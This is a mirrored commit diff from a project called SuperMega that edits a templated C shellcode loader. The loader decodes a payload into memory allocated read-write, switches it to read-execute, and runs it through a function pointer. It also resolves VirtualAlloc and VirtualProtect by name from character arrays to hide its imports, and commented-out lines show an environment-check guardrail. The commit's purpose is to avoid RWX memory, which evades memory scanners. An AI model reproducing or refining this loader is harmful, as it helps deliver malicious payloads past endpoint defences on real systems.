mirror of
https://github.com/dobin/SuperMega
synced 2026-06-02 17:27:10 +00:00
fix: make memory not rwx, but rw->rx
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@@ -21,8 +21,6 @@ int sleep_ms(DWORD sleeptime) {
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int main()
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{
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//sleep_ms(10000);
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// Execution Guardrail: Env Check
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//wchar_t envVarName[] = {'U','S','E','R','P','R','O','F','I','L','E', 0};
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//wchar_t tocheck[] = {'C',':','\\','U','s','e','r','s','\\','h','a','c','k','e','r', 0}; // L"C:\\Users\\hacker"
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@@ -39,13 +37,18 @@ int main()
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// Allocate 1
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// char *dest = ...
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char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
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char *dest = VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x04); // rw
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//sleep_ms(10000);
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// Copy (and decode)
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// from: supermega_payload[]
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// to: dest[]
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{{ plugin_decoder }}
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if (VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result) == 0) { // rx
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return 7;
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}
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// Execute *dest
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(*(void(*)())(dest))();
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@@ -84,7 +84,9 @@ int main()
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_In_ DWORD flAllocationType,
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_In_ DWORD flProtect)) _GetProcAddress((HMODULE)base, VirtualAlloc_str);
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if (_VirtualAlloc == NULL) return 4;
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char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x40);
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char *dest = _VirtualAlloc(NULL, {{PAYLOAD_LEN}}, 0x3000, 0x04); // rw
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//sleep_ms(10000);
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// Copy
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// from: supermega_payload[]
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@@ -92,6 +94,21 @@ int main()
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// len: 0x11223344
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{{ plugin_decoder }}
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// ntdll.dll: VirtualAlloc()
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char VirtualProtect_str[] = { 'V','i','r','t','u','a','l','P','r','o','t','e', 'c', 't', 0 };
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LPVOID (WINAPI * _VirtualProtect)(
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_In_ LPVOID lpAddress,
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_In_ SIZE_T dwSize,
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_In_ DWORD flNewProtect,
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_Out_ PDWORD lpflOldProtect) = (LPVOID (WINAPI*)(
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_In_ LPVOID lpAddress,
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_In_ SIZE_T dwSize,
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_In_ DWORD flNewProtect,
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_Out_ PDWORD lpflOldProtect)) _GetProcAddress((HMODULE)base, VirtualProtect_str);
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if (_VirtualProtect == NULL) return 4;
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_VirtualProtect(dest, {{PAYLOAD_LEN}}, 0x20, &result); // rx
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// Execute *dest
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(*(void(*)())(dest))();
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